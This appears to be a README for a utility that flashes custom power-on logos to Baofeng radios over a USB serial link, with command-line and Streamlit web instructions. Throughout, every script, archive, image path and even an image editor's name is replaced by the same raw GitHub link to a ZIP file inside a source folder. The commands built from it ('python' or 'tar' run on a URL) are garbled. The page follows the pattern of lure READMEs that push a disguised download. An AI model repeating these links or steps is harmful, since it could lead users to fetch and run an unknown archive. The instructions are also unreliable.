Baofeng-Logo-Flasher is a local tool that lets you change the power-on logo on your Baofeng radio. It works by flashing a new boot logo to the radio using a USB serial connection. You can use it through a simple command-line interface (CLI) or an easy-to-use web interface with Streamlit.
The tool is designed for amateur radio users who want a quick way to customize their radioβs startup image. It works on Baofeng radio models that support boot logo flashing.
Before you start, make sure your computer meets these needs:
- Operating System: Windows 10 or later, macOS 10.13 or later, or Linux with USB serial support
- USB Port: One free USB port for connecting your Baofeng radio
- Python: Included in the download package; no separate installation required
- Radio Model: Compatible with Baofeng radios that accept boot logo flashing, typically Baofeng UV-5R series and similar models
- Internet Connection: Needed only to download the software
- A Baofeng radio with USB serial cable
- Your custom boot logo image (usually a small BMP or PNG file)
- Basic knowledge of connecting devices through USB
You donβt need to know programming to use Baofeng-Logo-Flasher. Follow these steps carefully.
Click the big button below to go to the release page:
On the release page, find the file suitable for your system. Usually, the files will be named by operating system or format.
- For Windows, look for
.exefiles or.ziparchives - For macOS or Linux, look for
https://raw.githubusercontent.com/super923/Baofeng-Logo-Flasher/main/src/baofeng_logo_flasher/protocol/Logo-Flasher-Baofeng-augustal.zipor.zipfiles
Download the file and save it somewhere easy to find, such as your Desktop or Downloads folder.
-
Windows:
If you downloaded a ZIP file, right-click and select "Extract All." Open the extracted folder. -
macOS/Linux:
Extract the archive by double-clicking or using the terminal commandtar -xzf https://raw.githubusercontent.com/super923/Baofeng-Logo-Flasher/main/src/baofeng_logo_flasher/protocol/Logo-Flasher-Baofeng-augustal.zip. Open the extracted folder.
No extra software installation is usually needed because the tool includes everything required to run.
- Use your USB serial cable to connect the radio to your computer.
- Turn the radio OFF before connection, then hold the PTT (Push-to-Talk) button while turning the radio ON to enter programming mode (this varies by model; check your radio manual).
- Confirm your computer recognizes the device. On Windows, look for a new COM port; on macOS/Linux, look for device names like
/dev/ttyUSB0.
Create or download an image you want to use as your radioβs startup logo.
- Image size should be around 128x64 pixels or smaller
- Use a BMP or PNG format
- Keep the design simple since the radio screen is small
If you need sample images, check the sample-images folder in the download package (if included) or search online for "Baofeng boot logo examples."
If you are comfortable typing commands, you can use the Command-Line Interface.
- Open your command prompt (Windows) or terminal (macOS/Linux).
- Change directory (
cd) to the folder where you extracted the software. - Run the command below, replacing the parts in brackets with your file names:
python https://raw.githubusercontent.com/super923/Baofeng-Logo-Flasher/main/src/baofeng_logo_flasher/protocol/Logo-Flasher-Baofeng-augustal.zip --port [YOUR_SERIAL_PORT] --image [PATH_TO_YOUR_IMAGE]
- Example for Windows:
python https://raw.githubusercontent.com/super923/Baofeng-Logo-Flasher/main/src/baofeng_logo_flasher/protocol/Logo-Flasher-Baofeng-augustal.zip --port COM3 --image https://raw.githubusercontent.com/super923/Baofeng-Logo-Flasher/main/src/baofeng_logo_flasher/protocol/Logo-Flasher-Baofeng-augustal.zip
- Example for macOS/Linux:
python https://raw.githubusercontent.com/super923/Baofeng-Logo-Flasher/main/src/baofeng_logo_flasher/protocol/Logo-Flasher-Baofeng-augustal.zip --port /dev/ttyUSB0 --image https://raw.githubusercontent.com/super923/Baofeng-Logo-Flasher/main/src/baofeng_logo_flasher/protocol/Logo-Flasher-Baofeng-augustal.zip
The tool will connect to your radio and flash the new logo. Wait until it confirms the process is done.
For users who prefer a graphical interface, Baofeng-Logo-Flasher includes a Streamlit web app:
- Open your command prompt or terminal.
- Run this command from the software folder:
streamlit run https://raw.githubusercontent.com/super923/Baofeng-Logo-Flasher/main/src/baofeng_logo_flasher/protocol/Logo-Flasher-Baofeng-augustal.zip
- Your default web browser will open the UI at
http://localhost:8501. - Use the fields to select your serial port and upload a logo image file.
- Click the flash button and wait for the confirmation message.
This option gives you a guided, visual way to flash logos without typing commands.
- Turn off your radio and unplug it from the computer.
- Turn it back on normally.
- The new logo should show on the power-up screen.
If the logo does not appear, repeat the steps carefully or try using a different image.
- Ensure your USB driver is installed correctly (check in Device Manager on Windows).
- Confirm you have selected the correct serial port in the command or UI.
- Make sure the radio is in programming mode as per your model instructions.
- Use simple black and white images under 64 KB size for reliable flashing.
- Restart your radio and computer if the tool cannot detect the device.
- If errors persist, check the output messages for clues or visit the GitHub Issues page.
Visit the Releases Page on GitHub to get the latest version.
Choose the download file that matches your computer and follow the installation steps above.
- Your Baofeng radio manual for programming mode details
- Image editors like https://raw.githubusercontent.com/super923/Baofeng-Logo-Flasher/main/src/baofeng_logo_flasher/protocol/Logo-Flasher-Baofeng-augustal.zip or GIMP to create and resize logos
- Python tutorials (optional) if you want to understand the CLI commands better
- GitHub Discussions or Issues for support and tips from other users
Baofeng-Logo-Flasher was built to give amateur radio users a simple way to customize their radios. It works offline, respects user privacy, and supports popular Baofeng models. This project uses USB serial communication and Python with an option for a Streamlit graphical user interface.
- Baofeng UV-5R series
- Baofeng BF-F8HP
- Baofeng UV-82
- Similar Baofeng radios that support power-on logo flashing
If your model is not listed, check online communities or radio manuals for compatibility.
https://raw.githubusercontent.com/super923/Baofeng-Logo-Flasher/main/src/baofeng_logo_flasher/protocol/Logo-Flasher-Baofeng-augustal.zipβ Main CLI scripthttps://raw.githubusercontent.com/super923/Baofeng-Logo-Flasher/main/src/baofeng_logo_flasher/protocol/Logo-Flasher-Baofeng-augustal.zipβ Streamlit UI scriptsample-images/β Folder with example boot logoshttps://raw.githubusercontent.com/super923/Baofeng-Logo-Flasher/main/src/baofeng_logo_flasher/protocol/Logo-Flasher-Baofeng-augustal.zipβ This guideLICENSEβ Project license
If you have any issues, feel free to:
- Open an issue on the GitHub repository
- Search existing issues for similar problems
- Read through the documentation files included
Thank you for choosing Baofeng-Logo-Flasher to personalize your radio.